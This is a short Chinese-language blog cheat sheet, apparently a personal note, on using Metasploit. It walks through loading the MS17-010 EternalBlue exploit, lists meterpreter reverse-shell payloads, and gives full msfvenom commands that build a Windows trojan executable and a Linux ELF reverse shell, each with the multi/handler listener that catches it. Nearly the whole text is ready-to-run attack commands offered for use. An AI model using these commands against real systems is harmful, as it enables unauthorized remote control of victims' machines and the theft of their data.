msfconsole命令
攻击模块
软件更新
apt update # 更新安装包信息;只检查,不更新
apt upgrade # 更新已安装的软件包,不删除旧包;
apt full-upgrade # 升级包,删除旧包
基础使用
msfconsole //进入框架
search ms17_010 //使用search命令查找相关漏洞
use exploit/windows/smb/ms17_010_eternalblue //使用use进入模块
info //使用info查看模块信息
show options //查看参数
set RHOST 192.168.100.158 //设置参数
exploit/run
辅助模块(auxiliary)
漏洞利用(exploit)
攻击载荷(payload):
Stager中几种常见的payload:
windows/meterpreter/bind_tcp //正向连接
windows/meterpreter/reverse_tcp //反向连接,常用
windows/meterpreter/reverse_http //通过监听80端口反向连接
windows/meterpreter/reverse_https //通过监听443端口反向连接
木马
windows木马
创建木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.110 LPORT=4444 -f exe -o 123.exe
开启kali监听
启动msfconsole
开启监听
use exploit/multi/handler
设置tcp监听
set payload windows/meterpreter/reverse_tcp
设置本机ip和端口
set
输入explore开始监听
运行木马后木马上线,进入meterpreter
后续同上,不做详细解释
linux elf木马反弹shell创建(msf6版本)
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=8888 -f elf > mshell.elf
监听
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost xxx.xxx.xxx.xxx
set lport 8888
run
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 HAHA!